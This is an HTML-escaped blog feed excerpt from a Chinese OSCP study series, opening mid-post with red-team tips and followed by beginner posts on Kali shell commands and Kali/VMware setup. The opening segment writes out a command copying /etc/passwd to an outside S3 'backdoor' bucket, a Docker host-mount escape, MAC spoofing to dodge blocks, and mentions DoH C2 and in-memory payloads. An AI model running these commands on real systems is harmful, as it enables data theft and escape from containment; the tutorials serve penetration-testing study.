&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;strong&gt;隐蔽技巧&lt;/strong&gt;：&lt;br&gt;
• 使用DNS-over-HTTPS（DoH）隐藏C2通信&lt;br&gt;
• 内存加载恶意代码避免磁盘文件写入（如&lt;code&gt;Meterpreter&lt;/code&gt;的&lt;code&gt;reflectivedllinject&lt;/code&gt;）&lt;/p&gt;
&lt;h3 id="红队高阶技巧"&gt;&lt;strong&gt;红队高阶技巧&lt;/strong&gt;
&lt;/h3&gt;&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;流量伪装&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 使用合法云服务API传输数据（如AWS S3）&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;aws s3 cp /etc/passwd s3://bucket-backdoor/ --profile&lt;span class="o"&gt;=&lt;/span&gt;legit_user
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;容器逃逸&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 检测Docker环境并挂载宿主机目录&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;findmnt &lt;span class="p"&gt;|&lt;/span&gt; grep &lt;span class="s2"&gt;&amp;#34;/var/lib/docker&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; docker run -v /:/mnt/host alpine chroot /mnt/host
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;硬件级隐蔽&lt;/strong&gt;：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 修改网卡MAC地址绕过IP封锁&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev eth0 down &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; macchanger -r eth0 &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; ip link &lt;span class="nb"&gt;set&lt;/span&gt; dev eth0 up
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="防御对抗建议"&gt;&lt;strong&gt;防御对抗建议&lt;/strong&gt;
&lt;/h3&gt;&lt;p&gt;• &lt;strong&gt;日志监控&lt;/strong&gt;：关注&lt;code&gt;/var/log/&lt;/code&gt;下&lt;code&gt;auth.log&lt;/code&gt;、&lt;code&gt;syslog&lt;/code&gt;的异常进程创建事件&lt;br&gt;
• &lt;strong&gt;进程防护&lt;/strong&gt;：使用&lt;code&gt;ps -auxf&lt;/code&gt;检查父进程异常的&lt;code&gt;/usr/sbin/.httpd&lt;/code&gt;类服务&lt;br&gt;
• &lt;strong&gt;网络隔离&lt;/strong&gt;：通过&lt;code&gt;iptables&lt;/code&gt;限制非授权出站流量（如阻断TOR节点连接）&lt;/p&gt;
&lt;p&gt;&lt;em&gt;2025年4月8日 11点24分&lt;/em&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day3 Kali Shell基本命令</title><link>https://ruajingjing.top/post/day3-kali-shell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/</link><pubDate>Sat, 08 Feb 2025 06:00:00 +0000</pubDate><guid>https://ruajingjing.top/post/day3-kali-shell%E5%9F%BA%E6%9C%AC%E5%91%BD%E4%BB%A4/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day3 Kali Shell基本命令" /&gt;
 &lt;blockquote&gt;
 &lt;p&gt;关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="kali-shell-的基本使用"&gt;Kali Shell 的基本使用
&lt;/h2&gt;&lt;p&gt;Kali系统是Ubuntu发行版改，所以大部分命令和Ubuntu一样，我之前已经学习过并且有7年使用历史，所以这部分我就不按照教材和课程进度快速跳过了。这里推荐一个网站，可以速查常用编程语言的命令速查表。关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day3&lt;/code&gt;获取速查表。你可以把速查表打印出来放入资料册或者笔记本中，方便随时翻阅，比起在电脑中查询更方便，排版良好的&lt;code&gt;Cheat Sheet&lt;/code&gt;是非常好用的工具。你也可以在网上搜索这个关键字看到更多的速查表，下列的网站中也有这样的速查表大全网站。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.datacamp.com/cheat-sheet/bash-and-zsh-shell-terminal-basics-cheat-sheet" target="_blank" rel="noopener"
 &gt;https://www.datacamp.com/cheat-sheet/bash-and-zsh-shell-terminal-basics-cheat-sheet&lt;/a&gt; 英文版，有pdf可下载
&lt;a class="link" href="https://quickref.cn/docs/bash.html" target="_blank" rel="noopener"
 &gt;https://quickref.cn/docs/bash.html&lt;/a&gt; 中文版bash常见命令
&lt;a class="link" href="https://github.com/skywind3000/awesome-cheatsheets/blob/master/languages/bash.sh" target="_blank" rel="noopener"
 &gt;https://github.com/skywind3000/awesome-cheatsheets/blob/master/languages/bash.sh&lt;/a&gt; bash命令在线
&lt;a class="link" href="https://wangchujiang.com/shell-tutorial/" target="_blank" rel="noopener"
 &gt;https://wangchujiang.com/shell-tutorial/&lt;/a&gt; 中文版shell用法
&lt;a class="link" href="https://quickref.cn/docs/vim.html" target="_blank" rel="noopener"
 &gt;https://quickref.cn/docs/vim.html&lt;/a&gt; 顺便补充一个vim用法&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;你也可以把其他的命令，或者今后总结的&lt;strong&gt;常用的渗透命令&lt;/strong&gt;总结为一个速查表，然后交给AI帮你排版：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-txt" data-lang="txt"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;把文件中的命令按照分类制作成cheat sheet，请用蓝白配色排版，我希望排版在1到3也横版A4纸大小的PDF文件中，请给我html或者latex文件
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250207204737344" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250207204737344.png"&gt;&lt;/p&gt;
&lt;p&gt;推荐使用在线Latex编辑器排版，如果你已经在本地有Latex也可以在本地调试，Latex的安装非常大，所以我推荐使用在线排版。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://www.overleaf.com/" target="_blank" rel="noopener"
 &gt;https://www.overleaf.com/&lt;/a&gt;&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="文本编辑器-nano和vim"&gt;文本编辑器 Nano和vim
&lt;/h2&gt;&lt;p&gt;&lt;img alt="image-20250207212732789" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250207212732789.png"&gt;&lt;/p&gt;
&lt;p&gt;Nano和Vim都是终端编辑器，一般都是系统自带的。之前你可能已经用过vim，或者在退出vim的时候打出了一堆乱码而无法退出感到沮丧。可以通过以下资源练习vim和nano的使用，我推荐两个至少要会进入，编辑，保存，退出这几个操作。在实战过程中一些搭载服务的docker容器可能只有nano或vi（注意vi比vim更丐版，很多高级vim命令无法使用）。甚至有些更小的容器就没有文本编辑器，要学会使用管道命令如&lt;code&gt;cat hack &amp;gt;&amp;gt; .bashrc&lt;/code&gt;来修改文本内容，达到渗透目的。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;&lt;a class="link" href="https://quickref.cn/docs/vim.html" target="_blank" rel="noopener"
 &gt;https://quickref.cn/docs/vim.html&lt;/a&gt; vim用法
&lt;a class="link" href="https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/nano.txt" target="_blank" rel="noopener"
 &gt;https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/nano.txt&lt;/a&gt; nano用法
&lt;a class="link" href="https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt" target="_blank" rel="noopener"
 &gt;https://github.com/skywind3000/awesome-cheatsheets/blob/master/editors/vim.txt&lt;/a&gt; vim 用法&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;h2 id="推荐练习的命令"&gt;推荐练习的命令
&lt;/h2&gt;&lt;p&gt;这是教材中推荐练习的命令，你可以通过速查表查看他们可以怎么做，也可以询问搜索引擎和AI更多用法。其中&lt;code&gt;grep&lt;/code&gt;是之后在CTF赛中常用的查找命令，比如&lt;code&gt;ls | grep flag&lt;/code&gt;用于查找当前文件夹下是否存在flag文件。而&lt;code&gt;awk&lt;/code&gt;命令除了基本的操作外，还可用于提权，这个在今后会有内容讲到。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;grep&lt;/li&gt;
&lt;li&gt;sed&lt;/li&gt;
&lt;li&gt;cut&lt;/li&gt;
&lt;li&gt;cat&lt;/li&gt;
&lt;li&gt;awk&lt;/li&gt;
&lt;li&gt;comm&lt;/li&gt;
&lt;li&gt;diff&lt;/li&gt;
&lt;li&gt;vimdiff&lt;/li&gt;
&lt;li&gt;ping&lt;/li&gt;
&lt;li&gt;jobs&lt;/li&gt;
&lt;li&gt;fg&lt;/li&gt;
&lt;li&gt;ps&lt;/li&gt;
&lt;li&gt;kill&lt;/li&gt;
&lt;li&gt;tail&lt;/li&gt;
&lt;li&gt;watch&lt;/li&gt;
&lt;li&gt;wget&lt;/li&gt;
&lt;li&gt;curl&lt;/li&gt;
&lt;li&gt;axel&lt;/li&gt;
&lt;li&gt;history&lt;/li&gt;
&lt;li&gt;alias&lt;/li&gt;
&lt;/ul&gt;

 &lt;blockquote&gt;
 &lt;p&gt;关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day3&lt;/code&gt;获取速查表。&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;hr&gt;
&lt;p&gt;🔔 &lt;strong&gt;想要获取更多网络安全与编程技术干货？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;关注 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号，与你一起探索前沿技术，分享实用的学习资源与工具。我们专注于深入分析，拒绝浮躁，只做最实用的技术分享！💻&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;p&gt;或者直接回复文章中的关键词，获取更多技术资料与书单推荐！📚&lt;/p&gt;</description></item><item><title>Day2 在线学习资源和Kali安装使用</title><link>https://ruajingjing.top/post/day2-%E5%9C%A8%E7%BA%BF%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90%E5%92%8Ckali%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8/</link><pubDate>Thu, 23 Jan 2025 16:13:45 +0000</pubDate><guid>https://ruajingjing.top/post/day2-%E5%9C%A8%E7%BA%BF%E5%AD%A6%E4%B9%A0%E8%B5%84%E6%BA%90%E5%92%8Ckali%E5%AE%89%E8%A3%85%E4%BD%BF%E7%94%A8/</guid><description>&lt;img src="https://ruajingjing.top/" alt="Featured image of post Day2 在线学习资源和Kali安装使用" /&gt;&lt;h2 id="学前补充-在线学习资源"&gt;学前补充-在线学习资源
&lt;/h2&gt;&lt;h3 id="国内中文资料"&gt;国内中文资料
&lt;/h3&gt;&lt;p&gt;国内虽然网络安全学习资源逐渐丰富，但在涉及 OSCP 等国际认证时，中文资料相对较少，更多的仍需依赖官方英文资料。然而，我们可以通过一些中文平台获取相关的学习内容，并帮助更好地理解渗透测试和网络安全的基本概念。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;泷羽Sec公众号&lt;/strong&gt;：关注 &lt;strong&gt;泷羽Sec&lt;/strong&gt;和&lt;strong&gt;泷羽Sec-静安&lt;/strong&gt;公众号，这里会定期更新与 OSCP、渗透测试等相关的最新文章，帮助你理解网络安全领域的最新动态。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a class="link" href="https://blog.csdn.net/bugatti100peagle/category_12878453.html" target="_blank" rel="noopener"
 &gt;CSDN 泷羽Sec-静安栏目&lt;/a&gt;&lt;/strong&gt;：同样可以通过 &lt;strong&gt;CSDN 泷羽Sec-静安&lt;/strong&gt; 账号找到关于 OSCP 考试、渗透测试工具等内容的详细教程，适合进行技术深度学习。&lt;/p&gt;
&lt;p&gt;扫描下方二维码，马上加入我们，共同成长！🌟&lt;/p&gt;
&lt;p&gt;👉 &lt;strong&gt;长按或扫描二维码关注公众号&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;img loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E5%BE%AE%E4%BF%A1%E5%9B%BE%E7%89%87_20250115101708.jpg"&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="拓展国外资料"&gt;拓展国外资料
&lt;/h3&gt;&lt;p&gt;虽然国内资料主要依赖翻译或二次加工，但国外的资料更为丰富，尤其是针对渗透测试和 OSCP 考试的内容。建议你结合以下资源，深入学习并拓宽视野。无需完全掌握所有内容，但这些资料可以帮助你更好地理解考试大纲之外的技术点。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;YouTube 渗透测试教程&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=9mrf-WyzkpE&amp;amp;list=PLJnLaWkc9xRgOyupMhNiVFfgvxseWDH5x" target="_blank" rel="noopener"
 &gt;渗透测试基础教程&lt;/a&gt;：这个视频系列为你提供了实战渗透测试的基础知识，非常适合入门学习。&lt;/li&gt;
&lt;li&gt;&lt;a class="link" href="https://www.youtube.com/watch?v=7WQndt-1WzE&amp;amp;list=PLqM63j87R5p4Mp4NP-Oa1kLV6o22RDfex" target="_blank" rel="noopener"
 &gt;进阶渗透测试系列&lt;/a&gt;：该系列侧重于进阶渗透测试技术，涵盖了多种实用的攻击手段和技巧，适合有一定基础的学员进一步提升技能。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Offensive Security 官方资源&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OffSec Discord 群组&lt;/strong&gt;：加入 &lt;a class="link" href="https://discord.com/invite/offsec" target="_blank" rel="noopener"
 &gt;OffSec 的 Discord 群&lt;/a&gt;，这是一个全球渗透测试爱好者和专业人员的聚集地，群内每周五会有免费直播，大家可以实时互动并提问。通过参与群组，你不仅能获得最新的培训信息，还有机会向其他 OSCP 备考者和认证过的专家请教问题。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OffSec 官方 YouTube 频道&lt;/strong&gt;：&lt;a class="link" href="https://www.youtube.com/watch?v=muLaL3p7G94" target="_blank" rel="noopener"
 &gt;OffSec 官方 YouTube 频道&lt;/a&gt;，官方会不定期更新关于渗透测试技巧、OSCP 备考心得等内容。特别适合在考试前复习并加深理解。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;OffSec 官方 Twitch 频道&lt;/strong&gt;：&lt;a class="link" href="https://www.twitch.tv/offsecofficial/videos" target="_blank" rel="noopener"
 &gt;OffSec 官方 Twitch 频道&lt;/a&gt;：在这里你可以找到各种实时和过往的直播视频，包括渗透测试实战演示和技术讲解。定期观看这些直播，能够帮助你更好地理解渗透测试的实际操作，并获取最新的行业动态和实践技巧。&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id="翻译软件使用"&gt;翻译软件使用
&lt;/h3&gt;&lt;p&gt;对于非英语母语的学习者，翻译软件可以极大地帮助理解英文资料，特别是一些技术性的讲解。以下是推荐的两款翻译工具，帮助提升学习效率：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a class="link" href="https://immersivetranslate.com/zh-Hans/" target="_blank" rel="noopener"
 &gt;沉浸式翻译&lt;/a&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;适用于翻译在线网页文档，特别是技术博客、教程页面等。这个工具支持将 &lt;strong&gt;YouTube&lt;/strong&gt; 上的视频字幕实时翻译，便于理解外语讲解的内容，尤其是对于英语不太熟练的学习者来说，是一个非常有用的工具。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;&lt;a class="link" href="https://tongchuan.iflyrec.com/" target="_blank" rel="noopener"
 &gt;讯飞同传&lt;/a&gt;&lt;/strong&gt;：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;这个工具非常适合观看一些沉浸式翻译不支持的&lt;strong&gt;视频&lt;/strong&gt;，以及在后期与考试官的实时互动中使用。它可以帮助你实时将英语对话翻译成中文，并支持与考官之间的流畅交流。这对于 OSCP 考试时的实时沟通（例如，考试过程中需要与考官确认某些细节时）尤为重要。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;通过这些工具，你可以在学习过程中克服语言障碍，更轻松地掌握 OSCP 考试的内容，尤其是在遇到复杂的技术概念或英文资料时，翻译软件将成为你学习的得力助手。&lt;/p&gt;
&lt;p&gt;学习 OSCP 不仅需要掌握官方教材大纲的内容，更需要拓展视野，借助国内外的学习资源和翻译工具，提高自己的渗透测试能力。建议大家从 &lt;strong&gt;泷羽Sec-静安&lt;/strong&gt; 公众号获取最新的学习资讯，结合国内外的视频教程和在线社区的互动，逐步完成 OSCP 认证的备考旅程。&lt;/p&gt;
&lt;hr&gt;
&lt;h2 id="kali下载vmware安装和镜像启动"&gt;Kali下载、VMware安装和镜像启动
&lt;/h2&gt;&lt;p&gt;Kali Linux由Offensive Security开发、资助和维护，是一个基于Debian的Linux发行版，专为高级渗透测试和安全审计设计。它集成了数百种信息安全工具，支持渗透测试、安全研究、计算机取证、逆向工程等多种任务。&lt;/p&gt;
&lt;h3 id="kali-下载"&gt;Kali 下载
&lt;/h3&gt;
 &lt;blockquote&gt;
 &lt;p&gt;kali 官网下载地址：https://www.kali.org/get-kali/#kali-platforms&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;&lt;img alt="image-20250120170551518" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120170551518.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250120170629009" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120170629009.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-cmd" data-lang="cmd"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt; Get-FileHash .\kali-linux-2024.4-vmware-amd64.7z -Algorithm SHA256
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;验证下载文件&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250120170959477" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120170959477.png"&gt;&lt;/p&gt;
&lt;h3 id="vmware下载"&gt;VMware下载
&lt;/h3&gt;&lt;p&gt;VMware是一家领先的虚拟化和云计算技术公司，专注于提供企业级解决方案。其核心产品包括虚拟化平台、云管理和自动化工具，旨在帮助企业优化IT基础设施，提升运维效率。VMware的技术广泛应用于数据中心、桌面虚拟化、网络安全和应用开发等领域，推动了云计算、容器化和企业数字化转型的进程。&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;VMware 官网下载：https://www.vmware.com/products/desktop-hypervisor/workstation-and-fusion&lt;/p&gt;

 &lt;/blockquote&gt;
&lt;p&gt;下载安装后，激活网上找教程激活即可。2024年5月后&lt;a class="link" href="https://blogs.vmware.com/china/2024/05/16/workstation-%E5%92%8C-fusion-%E5%AF%B9%E4%B8%AA%E4%BA%BA%E4%BD%BF%E7%94%A8%E5%AE%8C%E5%85%A8%E5%85%8D%E8%B4%B9%EF%BC%8C%E4%BC%81%E4%B8%9A%E8%AE%B8%E5%8F%AF%E8%BD%AC%E5%90%91%E8%AE%A2%E9%98%85/" target="_blank" rel="noopener"
 &gt;Workstation 和 Fusion 对个人使用完全免费，企业许可转向订阅&lt;/a&gt;，个人用户也可以使用免费版。关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;，后台回复&lt;code&gt;找工具+Day2&lt;/code&gt;获取镜像和相关软件。&lt;/p&gt;
&lt;h3 id="镜像启动"&gt;镜像启动
&lt;/h3&gt;&lt;p&gt;&lt;img alt="image-20250120202753650" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120202753650.png"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img alt="image-20250120202618165" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250120202618165.png"&gt;&lt;/p&gt;
&lt;p&gt;在Vmware中点击打开虚拟机，选择下载好的kali镜像（解压一下），选择文件夹下的&lt;code&gt;.vmx&lt;/code&gt;文件即可。点击启动即可。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;默认用户名：kali
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;默认密码：kali
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;可以通过&lt;code&gt;passwd&lt;/code&gt;命令修改账户密码，但是学习阶段不建议，就一个虚拟机，省得后面复杂操作的时候记不得。&lt;/p&gt;
&lt;p&gt;&lt;img alt="网安系列66" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/%E7%BD%91%E5%AE%89%E7%B3%BB%E5%88%9766.jpeg"&gt;&lt;/p&gt;

 &lt;blockquote&gt;
 &lt;p&gt;常用网站链接&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;kali全套官方工具包详解 &lt;a class="link" href="https://www.kali.org/tools/all-tools/" target="_blank" rel="noopener"
 &gt;https://www.kali.org/tools/all-tools/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kali 官方文档手册 &lt;a class="link" href="https://www.kali.org/docs/" target="_blank" rel="noopener"
 &gt;https://www.kali.org/docs/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;kali官方论坛 &lt;a class="link" href="https://forums.kali.org/" target="_blank" rel="noopener"
 &gt;https://forums.kali.org/&lt;/a&gt;官方建议，发帖之前先阅读论坛规则和向导，不合规的帖子可能被忽略&lt;/li&gt;
&lt;li&gt;kali bug自助页面 &lt;a class="link" href="https://bugs.kali.org" target="_blank" rel="noopener"
 &gt;https://bugs.kali.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;官方kali解密书籍：《Kali Linux Revealed: mastering the penetration testing distribution》关注公众号&lt;code&gt;泷羽Sec-静安&lt;/code&gt;后台回复&lt;code&gt;找书+KLR&lt;/code&gt;获取下载链接&lt;/li&gt;
&lt;/ul&gt;

 &lt;/blockquote&gt;
&lt;h3 id="kali换源和新装机设置"&gt;kali换源和新装机设置
&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;sudo -s
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt;vim /etc/apt/sources.list
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt="image-20250123094057324" loading="lazy" sizes="(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px" src="https://newblogimg.oss-cn-beijing.aliyuncs.com/2024/image-20250123094057324.png"&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;# 清华大学Kali镜像源&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;2&lt;/span&gt;&lt;span class="cl"&gt; 
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;3&lt;/span&gt;&lt;span class="cl"&gt;deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;4&lt;/span&gt;&lt;span class="cl"&gt;deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free non-free-firmware
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;复制上面的内容，按&lt;code&gt;I&lt;/code&gt;键进入插入模式，插入到list文件中，注释原来的kali官方源，按&lt;code&gt;ESC&lt;/code&gt;退出编辑模式，然后按&lt;code&gt;:wq&lt;/code&gt;保存并退出。更多详细&lt;strong&gt;vim&lt;/strong&gt;命令请参考&lt;a class="link" href="https://www.runoob.com/linux/linux-vim.html" target="_blank" rel="noopener"
 &gt;菜鸟 Linux vi/vim&lt;/a&gt;，&lt;a class="link" href="https://www.freecodecamp.org/news/vim-beginners-guide/" target="_blank" rel="noopener"
